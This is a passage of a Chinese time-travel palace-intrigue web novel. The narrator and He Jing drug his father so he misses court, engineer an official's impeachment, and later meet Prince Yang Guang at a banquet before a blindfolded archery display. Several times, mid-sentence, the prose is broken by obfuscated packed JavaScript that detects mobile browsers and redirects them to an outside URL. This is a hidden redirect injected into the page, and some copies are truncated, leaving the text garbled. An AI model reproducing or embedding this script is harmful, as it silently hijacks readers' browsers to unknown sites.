“贺伯伯眼里,看不到这些弯弯绕绕的‘算计’。”我轻声道,“他只看到,这刀子一旦真落下去,最先流血割肉的,不会是那些树大根深的关陇高门,因为他们有法子躲。真正会家破人亡的,是租种他们田地的佃户,是靠着那几亩军田活命的军户家眷。” 贺璟的手指无意识地收紧。他太清楚了,那些军户里,有多少是他父亲旧部的亲人。 “所以爹一定会站出来反对。”他的声音有些哑,“他会说此策‘名为增赋,实为伤民’,求陛下缓行、另择人选。” “他说的当然没错,可这话在陛下听来呢?”我看着他的眼睛,“陛下正高兴太子‘懂事’、‘能干’,贺伯伯这时候站出来说‘此计不妥’,哪怕句句在理,在陛下看来,也是不识大体,甚至是……阻挠朝廷新政,回护关陇势力。” 一次,两次……君心渐失。 过了半晌,贺璟问:“那怎么做?” “让贺伯伯那天去不了。” “装病?” “真病。” 贺璟沉默片刻,手指无意识地叩着桌沿:“四日后是爹生辰。家里摆宴,我敬酒,他必喝。军中有种药,服下像风寒,三日自愈。” “好。”我心里飞快盘算着日子和可能性,“但光病一次不够。得让朝堂上同时出另一件事,一件更让陛下震怒、更让太子难堪的事。最好能让太子自顾不暇,彻底搅黄他那‘新政’。” 贺璟转过身看向窗外午后的天色:“你‘看见’的那些片段里,除了爹和陛下,还有什么人?” “有太子……还有几个看着就面目可憎的近臣。” “长相?” “穿红袍,三角眼,颌下倒留着三缕长得不合时宜的长须。” 贺璟拧了拧眉。 “刘居士。”他吐出这个名字,像吐出什么脏东西。 “尚书省度支司员外郎,太子心腹,专掌土地赋税。此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125709|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人贪得无厌,去年侵占军田的案子里就有他的手笔。爹历来最恨这种把手伸进军队里捞钱的蠹虫,怪不得……这次宁可触怒陛下,也要死谏。” “侵占军田案?”我眼前一亮,“你简单讲讲。 贺璟三言两语讲清了来龙去脉,话音刚落,我脑子里“叮”了一声。 有了! “既然他去年就留了尾巴,”我压低声音,语速快了起来,“我们不妨帮他拽出来。” 贺璟立刻看过来。 “我们不直接从新政下手,那样太显眼。”我盯着他,“刘居士在河西‘改’过的军田,用生地顶替熟田,就算他们在账面上能糊弄,但粮食减产是实打实的。让守军把今年实实在在的减产数目报上来,趁新政推行前兵部清账的关口递上去。陛下最看重军务,看到这个数字,就算太子能保人,陛下也绝不会再把整顿田亩的要务交给他办。但,谁来参……” 贺璟眼睛一亮:“御史台有位御史叫王谊,寒门出身,性子刚直,去年就因查贪腐被世家子弟压了一头,心里正憋着火。要让他拿到这东西也不难,兵部武库司管军需档册的,是我从前带过的校尉。等减产文书报上来归档,他就能‘遗漏’一份副本。王谊惯去武库司调旧档比对,只要让他‘碰巧’看见这份东西,必会揪住刘居士去年的旧账,往死里参。” 他顿了顿,语速放慢,像是在推演每一个环节: “届时,太子自家后院起火,且是涉及军户田产、动摇国本的大罪。陛下就算原本有心推行太子的稽查新政,也得先摁下此事,清理门户。爹……自然就不是焦点了。太子的‘新政’没了陛下的支持,也就推不下去了。” 我点了点头。 这一招,既准又狠。打的是太子最倚重也最不干净的爪牙,戳的是陛下最不能容忍的痛处。就算扳不倒太子,也能让他短时间内自顾不暇。 “就这么办。”我说,感觉一直紧绷的心弦稍微松了一点。 计划在寂静中成形。 我们都知道,这一步迈出去,就再难回头了。 骗贺伯伯喝药是一桩,扳倒刘居士是另一桩。后者更麻烦。我们表面上是在自保,可实际上,搞垮太子的人就是变相帮了晋王。一旦留下痕迹,东宫不会善罢甘休,陛下那双眼睛更是揉不进沙子。从此贺家再想说“不涉党争”,怕是没人会信了。 贺璟看着我,眼神沉沉的,没说话。 我懂他的意思。现在收手,还来得及。 但是,收手? 开什么玩笑? 我昨天跳了半天大神,装神弄鬼又掏心掏肺,今天又昏了大半天,我图啥? 不就图现在能跟你坐在这儿,说一句—— “干!” 贺璟抬起眼,目光穿过跳动的光晕落在我脸上,那里面的最后一丝犹豫也如冰雪消融,只剩下清晰的、与我同频的决断。 他什么也没说,只极轻地颔首。 成了。 现在这条贼船,咱俩得一起上了。 10. 宫斗预约 贺若弼生辰那日,府里摆了两桌。军中旧部齐聚,说话声洪亮。 贺璟起身敬酒时,手稳得很:“爹,这酒性子烈,北地带回的,您尝尝。” 贺若弼畅快一笑,接过饮尽。 我坐在女眷那桌,看着那杯酒滑入他喉中,心里默念了一句: 对不住了老贺,这是为了救你命。 深夜,上房果然有了动静。贺若弼发起高热,咳嗽不止。大夫诊为酒后伤风,邪气入肺,需静卧休养。 别说,这药还挺神奇,回头我得跟贺璟讨点配方,说不定哪天就能用上。 次日天未亮,贺璟便去宫里递了告假的文书。回来时,朝服上还带着外面的寒气。 “按规矩报了病。”他说,“值守的接了,会呈上去。” 我点头。老贺这个位置,缺席朝会大小也是件事儿,该走的流程一步不能省。 “我去了。”他整了整衣袖。 “当心些。”我嘱咐。 常朝时辰到,皇城方向传来隐约的钟鼓声。 这一上午格外漫长。我守在前院附近,心神不宁。 计划是周密,可万一呢?万一王谊没敢上奏?万一陛下今天心情特别好,不计较了? 呸呸呸!别乌鸦嘴! 近午时分,贺璟回府,我远远瞧见他脚步比平日快,一打照面,就见他眼底带着一丝如释重负的微光。 “如何?”我赶忙迎上去,心想看这表情,八成是成了。 “太子果然奏请严查关陇田亩,荐其心腹主理。”贺璟语速略快,透着紧绷后的松弛,“陛下听罢,沉吟片刻。我看得出,陛下是心动的。正要开口,王谊便出列举劾刘居士,贪墨军饷、强占军户田产,桩桩件件,证据确凿。” “陛下反应?” “当场就沉了脸。”贺璟深吸一口气,“尤其是听到‘强占军户田产’时。陛下盯着太子,问:‘你要推行新政,要为国增赋,你手下的人,却在贪军饷、抢军户的活命田?’” 稳了!这把稳了! “太子脸都白了,想辩解说那是刘居士个人所为。”贺璟继续道,“可王谊递上的证据里,有刘居士孝敬东宫的账目,虽然不多,但足够扎眼。陛下最后说:‘主事之人如此不堪,此议容后再商。先把你东宫里这些蛀虫清干净!’” 没有贺若弼的激烈反对,太子的“妙计”被他自家人的罪行拖累,不了了之。而陛下那点被太子揣摩中的“心动”,也化作了对太子“治下不严”的怒火。 我们相视一眼,都从对方眼中看到了紧绷后终于能喘口气的痕迹。 “第一步。”他低声道,语气里带着尘埃落定的踏实。 “成了。”我点头,嘴角忍不住向上弯了弯,“还有第二步。” 两日后,贺若弼退了热,人还虚着,但精神头好了不少。 他还不知道外头变了天,靠在榻上喝着参汤,嘴里还念叨:“好几天没上朝了,真是不该……” 我一边用软巾给他擦嘴,一边想,老贺,你就安心歇着吧。 这场仗,你那给你下药的不孝子(贺璟),和给你不孝子出谋划策的不孝女(我),替你打了! 而且,初战告捷! 刘居士的案子像滚雪球,越滚越大。太子连着几日上疏请罪,陛下全都留中不发——这态度比直接斥责更让人心惊。 东宫那边,如今是泥菩萨过江,哪还敢再提什么“严查田亩”的新政?那件会让贺伯伯当廷死谏、触怒天颜的事,就这么无声无息地……揭过去了。 而晋王杨广那边却是另一番光景。 最近陛下频频单独召见他,今日朝会上,陛下更是驳回了太子为关陇子弟求官的奏请,转而让晋王细说江南治理的心得。 一贬一褒。 朝堂上的风声,悄悄转了向。 午后,贺璟拎着油纸包从外面回来。纸包还带着西市刚出炉的热气,他一踏进院子,那股熟悉的甜香就飘了过来。 “给。”他把纸包递给我,“趁热。” 我打开一看,是西市那家老字号的桂花糖糕,糖浆裹得透亮,撒着金黄的干桂花。 我们并肩站在廊下。我捏了一块塞进嘴里,糖渣簌簌往下掉。贺璟看着我狼吞虎咽的样子,眼角弯了弯。 “爹这一劫,”他声音里带着这些日子罕见的轻松,“算是躲过去了。” 阳光暖融融地洒在身上,晒得人骨头缝都舒展开。我嘴里的糖糕甜得恰到好处,那股温热从喉咙一路暖到胃里。 说来也怪。 上辈子看那么多穿越剧,总以为历史是铁板一块,谁碰谁倒霉。 可今天,贺伯伯安安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他接过帖子,目光扫过上面三个并列的名字,唇角微抿。 “见机行事。”他说。 11. 长安贵女圈 麟德殿内,宫灯只亮了一半,光线昏黄暧昧。人还没来齐,三三两两地聚着低语,空气里弥漫着新燃熏香和一种等待的紧绷感。 我们来得太早。贺若弼站在门口与几位老将军寒暄,贺璟安静地站在父亲身侧。 而我独自坐在靠后的坐席,一抬眼,就看见了独孤明月。 礼部尚书独孤信的女儿,独孤皇后的外甥女,真正的“顶级名媛”。 当下,正被几位贵女簇拥着进来,鹅黄吴绫宫装在昏灯下流光溢彩,整个人像自带追光灯。 脸是顶级的美貌,仪态更是教科书级别的端庄优雅,挑不出一点毛病。 我们远远见过几面,一直不熟,但每次她出现,麻烦也跟着来了,她身边那位。 薛静姝。 正是那天,骤然闪现的画面里,对我轻蔑地说“她也配?”的少女。 我的“好”表妹,我娘的外甥女。 其实有好长一段时间,我都挺纳闷:这群关陇贵女,怎么老跟我过不去?后来琢磨琢磨,也就明白了。 第一,薛家自己作死。 当年嫌我是拖油瓶,一脚踹开;现在看我抱上贺家大腿,又觉得是“潜力股”,三番五次想把我弄回去,当个联姻工具。 我次次都怼回去。这在薛家看来,就是我不识好歹,打了他们全家脸。 薛静姝作为薛家代表,自然得冲在第一线,变着法给我找不痛快。 第二,我不混她们的圈子。 她们关陇贵女有个自己的“小团体”,定期办茶会、赏花、搞香道趴体……我一次都没参加过。 在她们眼里,我这种态度,不仅是装清高,更是对她们那套“姐妹同心”潜规则的公然挑衅。 一个不肯融入的“圈外人”,被集体排挤,简直是天经地义。 第三,也是最关键的,她们酸了。 现在陛下正铆足了劲收拾关陇集团,她们各家都提心吊胆,生怕哪天倒霉。偏偏我这个本该最惨的前朝孤女,却舒舒服服待在贺家这艘大船上,风吹不着雨打不着。 老贺明面上圣眷正浓,小贺又新立军功,贺家稳如泰山。我这“躺赢”的待遇,就成了扎在她们心头的一根刺。 那些不敢对皇帝发的牢骚,对自家前途的焦虑,可不就全冲着我来了么? 此刻,薛静姝穿着海棠红襦裙,摇着缂丝团扇,正凑在独孤明月耳边低语,眼睛却斜斜瞟着我,嘴角噙着那熟悉的讥笑。 这位姐,放现代就是个特级绿茶,还是段位不高、心思全写脸上的那种。 她们先仪态万方地走向了正在与人交谈的贺家父子。 “贺世伯安好,贺世兄安好。”薛静姝声音甜得能齁死人,礼数周全得挑不出毛病。尤其是对着贺璟时,那眼神瞬间切换成“柔情似水”模式,跟刚才瞟我时判若两人。 独孤明月也随之上前问安。 她的目光与贺璟相接时,微微一顿,那双总是得体优雅的眼眸里,霎时漾开一种明亮而柔软的光彩,专注,倾慕,且坦荡。 年前宫宴,独孤明月“遗落”在贺璟面前的熏香荷包,被贺璟原封不动交还内侍的事,早就传遍了。可此刻,她的目光落在贺璟身上,依旧是明亮的,专注的,带着少女毫不掩饰的倾慕和一种理所当然的亲近。 贺璟察觉目光,略一点头,便移开视线,神色平淡。 啧。 人家姑娘这么大方,你倒好,脸冷得跟块冰似的。 独孤明月,要家世有家世,要模样有模样,要才情有才情,哪点配不上你? 这木头疙瘩,真是不开窍。 “哎呀,萧姐姐这簪子……是西市珍珑阁新出的样式吧?”寒暄过后,薛静姝直冲我走来,声音尖得能划破空气,还硬要装出天真无邪的调子。 “我前个儿也去看了,掌柜说这式样最受寻常富户家的小姐们喜爱,说是既新颖又不贵,卖得可好了。” 她特意咬重“寻常富户”、“不贵”几个字,周围的贵女们配合地发出几声压低的嗤笑。 只有独孤明月打断她:“静姝,莫要胡说。” 我简直想翻个白眼。 又来了。 年度保留节目:《薛静姝的攀比课堂》。 比完首饰比衣料,比完衣料比家世,次次这样。 早些年我还跟她们较过劲,张牙舞爪过几次。后来发现她们翻来覆去也就这点东西,跟复读机似的,瞬间就没了斗志。 搭理她们?纯属浪费生命。 我索性垂下眼,盯着自己的茶杯,不接话。 不理不理,王八念经。 可薛静姝显然不打算放过我。 她上前半步,几乎要凑到我面前,团扇虚点我的袖口:“这蜀锦的花样,好像也是前年的了?姐姐怕是不知道,今年江南新贡的流光锦才叫绝色,月光下能泛出流水似的光泽,皇后娘娘赏了明月姐姐一匹鹅黄的,裁成裙子才叫惊艳呢。” 她每说一句,周围那些贵女打量我的目光就多一分毫不掩饰的轻蔑。那些视线像细密的针,扎得人浑身不自在。 一股难以遏制的烦躁猛地冲上头顶。 真想现在就给她套个麻袋,拖到没人的巷子里,让她那张嘴再也说不出这些阴阳怪气的话! “萧姐姐怎么不说话?”薛静姝的声音再次插入,带着刻意的不解,“可是妹妹哪里说得不对,惹姐姐不高兴了?” 她眨着眼,神情无辜,仿佛受委屈的是她。 我深吸一口气,连个多余的眼神都懒得给,直接站了起来。 “里头闷得慌,我出去透透气。” 潜台词:烦死了,别吵吵了。 这些年我早就学会藏拙了。 一是不想给贺伯伯惹麻烦,他护着我已是不易。二来……我清楚自己那倒霉催的“未来”,越不起眼,才越安全。 薛静姝那点伎俩,年年翻来覆去,我要是次次都接招,才是真傻。 说完,不等她们反应,我转身就走,径直朝着人少的侧廊去。 殿外寒风劈面,激得我浑身一哆嗦,心口那点烦躁倒是浇灭了不少。 我拎着裙摆沿回廊疾走,直到身后殿内的喧嚣丝竹听不见了,才在一条僻静穿廊边刹住脚。廊外是个小水池,半边覆着薄冰,半边水色沉沉,映着廊下几盏孤灯和天边疏星。 我对着黑沉沉的池水,长长吐了口气。 就在这时,“嗒、嗒”几声脆响,像是小石子儿在冰面蹦跳。 我低头看,一枚羊脂白的物件在薄冰上溜溜打转,越转越快,竟不偏不倚直冲我脚边滚来! 那玉佩“咔”地轻响,停在我身前半尺。一半压在冰上,另一半已浸入冰窟边缘的冷水,眼瞅要滑进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125711|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>电光石火间,我下意识蹲身,右手飞快穿过冰水边缘,指尖一勾一捞,将玉佩攥在手中。 冰水刺得指骨发麻,激得我倒抽一口凉气。 我捏着那湿漉漉的玉佩直起身,刚想抬头想看看是谁这么没公德心,正撞上一双看过来的眼睛。 玄衫人已直身朝我走来,几步便到了近前。宫灯侧光将他面容映得清晰。 我呼吸一滞。 那张脸…… 又是他! 杨广。 这也……太巧了吧! 此刻,他也看清了我。 四目相对,他眼里明明白白闪过一丝讶异,好像也没料到会是我。不过这份讶异也说明,他记得我,而且认出来了。 眼神挺好,记性也不错。 不愧是未来要当皇帝的人。 我心里警钟咣咣乱敲,脸上却不敢露半分,只把手里的玉佩往前递了递,语气尽量平常,甚至带了点刚做完一件小事的平淡:“公子,可是你的玉佩?” 他走近几步,距离不远不近,刚好能闻到他身上那股极淡的、清冽的松木气。他伸手来接。 就在他指尖碰到玉佩,也碰到我冻得发红、还沾着水珠的手指时—— 温的,碰上了冰的。 那股陌生的暖意透过冰凉的皮肤传来,存在感强得吓人,激得我指尖不受控制地微微一蜷。 他已经稳稳拿回了玉佩,那点暖意也随之离开。 “正是。”他垂眼看了看掌中玉佩,指腹抹去水渍,动作不紧不慢。再抬眼看向我时,嘴角已经勾起一点极淡、却足够清晰的弧度,“多谢姑娘。这玉佩倒是有灵性,专挑姑娘脚边滚。” 声音温温和和,还带着点玩笑的意思。 “举手之劳。”我垂下眼皮,避开他那过于直接的注视,把又湿又冷的手指飞快缩回袖子里,想捂捂。 “姑娘看着……”他没走开,反而像是随口闲聊,可那目光却沉甸甸地压在我脸上,“甚是面熟。上元那夜,‘春江潮水连海平’,气象开阔,令人难忘。” 他挑明了。 这么直接,又这么自然。 我知道,这时候再装傻充愣,反倒显得可疑。 于是我抬起眼,脸上适时地堆起恰到好处的“恍然”,甚至还努力挤出一点点“他乡遇故知”的浅笑,尽管我心里除了“麻烦来了”四个大字,啥也没有。 “原来是公子。”我把声音稍微提亮了些,让语调听起来轻快,“那夜灯火晃眼,人又多,匆匆忙忙的,没瞧真切。今日竟在这儿遇上,真是……”我顿了一下,吐出两个字,“巧了。” 他也笑了笑,那笑容在昏黄跳动的宫灯光里,显得温润。 “是巧。”他顺着我的话,目光却还钉在我脸上,没挪开,“那夜仓促,未来得及请教姑娘芳名。不知今日,可否告知?” 问得直接,但也合情合理。 我微微屈膝,姿态规矩,答得清楚:“家父萧岿。小女如今蒙贺若弼将军抚养,暂居贺府。” 没什么好瞒的,我这身份在长安不是秘密。 “原来是贺公府上的萧姑娘。”他点了点头,“贺公忠勇,教女有方。” 我正想着这番没滋没味的客套总算到头,可以找借口溜了,远处忽然传来内侍略尖、却足够清晰的喊声: “晋王殿下——!” 12. 马甲掉了 “晋王殿下?宴席将开,陛下娘娘已入席,正寻您呢!” 内侍这一声唤得及时。 我心里一松,好了,这下不用再装了。 该知道的,都知道了。 不过戏,还得做全套。 我面上瞬间浮起十二分恰如其分的“惊惶”,眼睫轻颤,唇瓣微启,倒吸的那口凉气分寸拿捏得刚好,愣在当场。 然后,才像是被那声“殿下”烫着了似的,猛地回过神来,慌忙往后退开一步,裙摆擦过地面,迅速屈膝,就要行大礼。声音里掺进了精心调配的惶恐、后怕,还有那么点“冲撞天家”的不安: “臣女……臣女不知是晋王殿下!方才言语无状,若有冒犯,请殿下恕罪!” 我把一个“刚刚才知道对方尊贵身份”的官家女子该有的反应,演得流畅自然。 杨广虚抬了一下手,一股柔和却不容抗拒的力道托住了我的小臂,没让我真的拜下去。 “不知者不怪。”他的声音依旧温和,可那目光却像带着看不见的钩子,刮过我低垂的眉眼和强作镇定的脸,“何况,你我也算……故人重逢。” 接着,他的视线往下落,停在我被池水浸湿了一小片的袖口上,布料颜色深了一块。 “夜风寒,”他的语气转为平淡的关切,听不出太多情绪,“姑娘衣衫单薄,又沾了冷水,还是早些回席的好,当心着凉。” 说着,他从自己袖中取出了一方素白无纹的丝帕,直接递到了我面前。 “擦擦。”语气温和,却没什么商量的余地。 我看着眼前这方在宫灯下泛着柔光的丝帕。 接,还是不接? 接了,好像就多了层说不清的牵扯;不接,就是当面驳晋王的脸,更蠢。 只犹豫了那么一刹,我便伸出双手,接了过来。 “谢殿下。”帕子握在手里,柔软的质地,还残留着他指尖一点微温,和那股淡淡的松木清香。 “去吧。”他没再多说一个字,只是又深深看了我一眼,便转身,朝着内侍声音来的方向,步履从容地走了。 我捏着那方还带着点温气的帕子,站在原地,看着那袭青衫转过回廊拐角,彻底没入宫灯照不到的阴影里,这才缓缓地、不动声色地,吐出了梗在胸口的那团浊气。 指尖残留着池水的寒意,掌心却因为刚才过于用力,微微有些汗湿。 这叫什么事儿。 躲个清静也能精准撞上这位爷,还被他认了个底儿掉。 我摇摇头,把脑子里乱糟糟的思绪甩开,抽出帕子,仔细擦干手指和腕子上残留的冰水。柔软的触感让紧绷的神经稍微放松了些。 帕子折好,收回袖中。 冰凉的指尖蹭过丝绸,那股清淡的松木香气似有若无地缠上来。 刚才那短短一会儿发生的事,开始在脑子里不受控制地回放。 杨广。 这个名字本身就带着千钧重压。 我知道他未来的模样,史书上那个被钉在“暴君”柱上的隋炀帝,挖运河征高丽,生生把大隋朝拖垮的男人。 可刚才站在我面前那个人…… 温和,清隽,言谈间带着恰到好处的风趣,连一句随口吟的诗都记得。 和史书里的影子,重合不上。 好奇。 这感觉来得突兀。 我不可抑制的对眼前这个“活”的、与史册记载割裂开来的杨广,产生了探究欲。对这样一个人,究竟是怎么变成史书那样的,产生了浓浓的好奇。 但转念一想,史书同样冷冰冰地提醒,杨广这个人,最擅长的就是“装”。 为了跟他哥争太子,他能十几年如一日地装节俭、装孝顺、装夫妻情深,硬是骗过了爹娘,骗过了满朝文武。 一装就是十几年,直到把太子彻底拉下马。 十几年啊,想想就让人胆寒。 那么……他此刻的温雅,也都是装出来的? 啧,八卦真是刻进DNA里的东西。 当历史人物活生生站在面前,你很难不想扒开表象看看内里。 我无意识捏紧了袖中那方凉透的丝帕。 活生生的、复杂的杨广,和史册里那个扁平的“暴君”名号,在我脑子里打起架来。 回到麟德殿时,宴席才刚开始不久。 丝竹初起,宫人们正捧着酒肴鱼贯而入。我在贺家席位坐下,目光下意识扫过全场。 然后,我又看见了杨广。 他坐在离御座极近的右首位置,那是皇子席位。一袭玄色织金常服,衬得他身形挺拔如松。殿内灯火煌煌,落在他身上却仿佛被那身玄色吸去了大半,只余下巴到颈项的线条在光影中明灭。 他正微微侧首听身旁一位老王爷说话,唇角噙着恰到好处的淡笑,姿态从容。 我的视线不由得也往主座方向偏了偏,太子杨勇就坐在陛下左下首。 只一眼,我心里就“啧”了一声。 这位储君殿下,面皮倒是白净,可那白里透着的不是清贵,是种被酒色泡发了的浮肿。眼神也有些散,落在舞姬身上便粘住了,嘴角扯着笑,却总显得虚浮,没什么根底。 跟他旁边那位玄衣挺括、目光清亮的晋王一比…… 好家伙。 我这穿越前背过答案的人,都忍不住在心里嘀咕:这硬件差距也太大了点,怪不得后来皇位没保住。 仿佛察觉到我的目光,杨广忽然抬眼。 目光穿越晃动的光影、穿梭的宫人、满殿华服珠翠,精准地落在我脸上。 四目相对。 他唇角那点笑意似乎深了些。 然后,在满殿渐起的喧哗声中,在无人注意的角落,他极自然地端起面前玉杯,朝我这边,极轻地举了举。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125712|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >动作随意得像是活动手腕。 可那双眼睛,隔着半个大殿,却亮得惊人。 我迅速垂下眼帘,心里那点关于“硬件差距”的嘀咕,瞬间被更切实的警觉取代。 不能被表象迷惑了。 史书上写得明明白白,眼前这位“温雅”的晋王殿下,可比他那个看着就不太牢靠的哥哥,难应付多了,也危险多了。 酒过三巡,气氛渐热。 一位宗室老王爷抚掌笑道:“光看宫人歌舞有何趣味!今日在座皆是我大隋俊杰,何不各展所长,也让陛下瞧瞧下一代的风采?” 这提议立刻引来一片附和。尤其关陇各家,几位贵女已跃跃欲试。 文帝显然来了兴致,捋须笑道:“此言甚好!皇后觉得呢?” 独孤皇后含笑点头:“孩子们都长大了,是该显显本事。” 独孤明月第一个起身。 紫檀木琵琶在她手中铮然作响,一曲《霸王卸甲》气势磅礴,满殿喝彩。她退回座位时,目光不着痕迹地掠过贺璟。 接着是薛静姝。她旋舞时裙摆如火,故意在我们席前多转了两圈,眼风扫过我,带着毫不掩饰的挑衅。 其余贵女或作画或对弈,俱是闺阁顶尖才艺。 每一场都精彩,每一场都赢得满堂彩。我看着那些从容起身、早有准备的贵女们,忽然明白了一件事。 这哪里是临时起意? 分明是早就通好气的展示。关陇各家要借这场宫宴,让自家女儿在御前露脸,为将来铺路。 合着就我没背景,没人提前透题呗? “今日诸位姐妹真是让人大开眼界。”薛静姝摇着扇子,笑盈盈地开口,目光却往我这边飘,“萧姐姐生得这般好模样,又是前梁金枝玉叶的出身,定然也是才情不凡的。姐姐可别光坐着,也让我们开开眼界呀?” 前梁金枝玉叶。 这词从她嘴里出来,听着就硌耳朵。 殿里静了一瞬,好几道目光扫过来,看热闹的,打量的,还有等着瞧好戏的。 “薛家丫头这话倒是提醒老身了。” 坐在独孤皇后下首那位满头银发的老夫人缓缓开口,她端着茶盏,笑得慈眉善目,“萧姑娘这通身的气度,一看就不是寻常闺秀。能得贺将军亲自教养,定是悉心栽培了的。” 她顿了顿,目光温和地落在我身上:“老身听说,贺将军对姑娘寄望颇深。今日这般场合,姑娘若是不露一手,倒显得贺将军藏私了。这么好的姑娘,合该让陛下娘娘,也让咱们这些老婆子瞧瞧,到底是怎样的钟灵毓秀。” 这话说得漂亮。 可字字句句,都像软刀子。 贺将军悉心栽培。 贺将军寄望颇深。 合该让大家都瞧瞧。 我要是不上,就成了老贺“藏私”,成了我辜负“寄望”,成了我不敢让人“瞧瞧”。 13. 蒙眼射箭 “老夫人说的是,”薛静姝立刻接话,语气真诚得能掐出水来,“萧姐姐这般品貌,定然是腹有诗书的。今日若是不展示一二,倒真让人好奇,贺将军这五年,到底教出了怎样一位惊才绝艳的姑娘呢?” 她说完还冲我温柔一笑,眼底却明晃晃写着:我看你怎么下台。 周围那帮贵女纷纷掩唇,眼神交流得飞快。 这是架在火上烤了。 用“前梁金枝”的名头捧着你,用“贺将军栽培”的责任压着你,用全殿的眼睛盯着你。逼你必须站起来,还得站得漂亮。 贺璟在案下的手攥紧了,他侧过身,声音压得很低:“锦儿,不必……” “璟儿。”贺若弼打断他,老爷子看着我,眼神是实打实的信任,“箭在弦上,发不发,怎么发,你自个儿定。贺家,永远站你后头。” 我懂了。 这会儿,我已经被捧到高台上了。 退? 那“前梁公主不过如此”、“贺将军白费心血”的议论,明天就能传遍长安。 上? 那就得亮真本事了。 我搁下酒杯,起身,走到殿中间。 跪下。 “陛下,娘娘。”我抬头,声音清楚,“薛姑娘和老夫人抬举,臣女惶恐。” “琴棋书画这些雅事,臣女确实不精,不敢在诸位大家面前现眼。” 薛静姝嘴角的笑都快憋不住了。 我接着往下说,一字一句: “不过臣女在贺将军府上五年,将军常念叨‘大隋以武立国’。女子就算待在闺阁,也不能忘了尚武的心。” “所以臣女今天,想献个武艺。” 殿里一下子静了。 “武艺?”陛下来了兴致,身子往前倾了倾,“怎么个献法?” “陛下,娘娘。臣女愚钝,于琴棋书画一道,远不及在座诸位小姐。” 薛静姝嘴角已经扬起。 我抬起头,一字一句: “请陛下命人,于三十步外悬三枚铜钱。备军鼓一面。臣女愿蒙双眼,随鼓起舞,依鼓点发箭,鼓疾则射铜钱,鼓缓则射靶心。三箭为限。” 死寂。 然后是炸开的哗然。 “荒唐!”一个老臣胡子都翘起来了,气得直哆嗦,“宫宴之地!女子舞刀弄箭还蒙眼?成何体统!” “陛下三思啊!万一射偏了……” 薛静姝那边已经快憋不住笑了,看我的眼神像看马戏团的猴。独孤明月皱着眉,满脸写着“这人是不是脑子进水了”。 我内心OS:笑吧笑吧,一群没见过世面的。姐这些年被老贺摔得满地找牙的时候,你们还在绣花弹琴呢!今天就让你们开开眼,什么叫真·功夫! 贺家父子显然也有点吃惊。 他们当然知道我有这个本事,但大概怎么也想不到,我装了七年鹌鹑,今天却要在这个场合,把房顶掀了。 陛下抬手止住喧哗。 他身体微微前倾,目光饶有兴味地落在我身上,唇角甚至带着一丝玩味的弧度:“萧家丫头,你这玩法,倒是新鲜。朕见过百步穿杨,也见过鼓上起舞,可把这二者合在一处,还要蒙上眼睛,朕倒是头一回见识。” 他顿了顿,语气随意却带着不容错辨的威严:“既是助兴,朕便准了。只是丑话说在前头,箭矢终究不是玩物,你需得把握好分寸。若只是射不中铜钱,无伤大雅,博众人一笑罢了;可若失了准头,惊扰了殿内哪位……那可就真是扫兴了。明白吗?” 这番话,既给了表演的许可,也划下了明确的底线,表演可以,闯祸不行。 我迎上陛下的目光,朗声道:“臣女明白!绝不惊扰圣驾及诸位贵人!” “好!”陛下抚掌一笑,兴致更高,“那便让朕与众卿家,开开眼界。来人,按萧家丫头说的,布置起来!” 内侍官连忙领命而去。 很快,殿外开阔处便按我的要求布置妥当。 箭靶立于三十步外,三枚铜钱悬于细丝,在夜风中微晃。牛皮大鼓安置一旁,鼓手肃立。 我走到场中,摘下簪环,接过玄色绸带覆于眼前系紧。世界沉入黑暗,唯余声音,风声、呼吸声、心跳,还有那面沉默的鼓。 握紧柘木弓,三支白羽箭在侧。黑暗中,感官反而清晰。我侧身而立,面向记忆中箭靶的方位。 “开始吧。”陛下的声音传来。 “咚——!!!” 第一声鼓响,沉厚缓慢。鼓声起,我动了。旋身、踏步、拧腰、引臂——衣摆划出飒沓弧线,弓随舞动,弦在黑暗中无声张开。沉缓鼓点如潮涌来,舞姿大开大合。 就在鼓声将歇未歇的节点,我扣弦的三指倏然松开! “嗖——!” 箭中靶心!扎实的闷响传来。 “好!”叫好声起。 不待声浪平息,鼓声骤变! “咚咚咚!咚!咚咚咚——!!!” 急促!密集!如暴雨击瓦! 舞步瞬间加速!身形疾旋,步伐莫测,弓在狂舞中化作虚影,弦随本能与鼓点一次次调整! 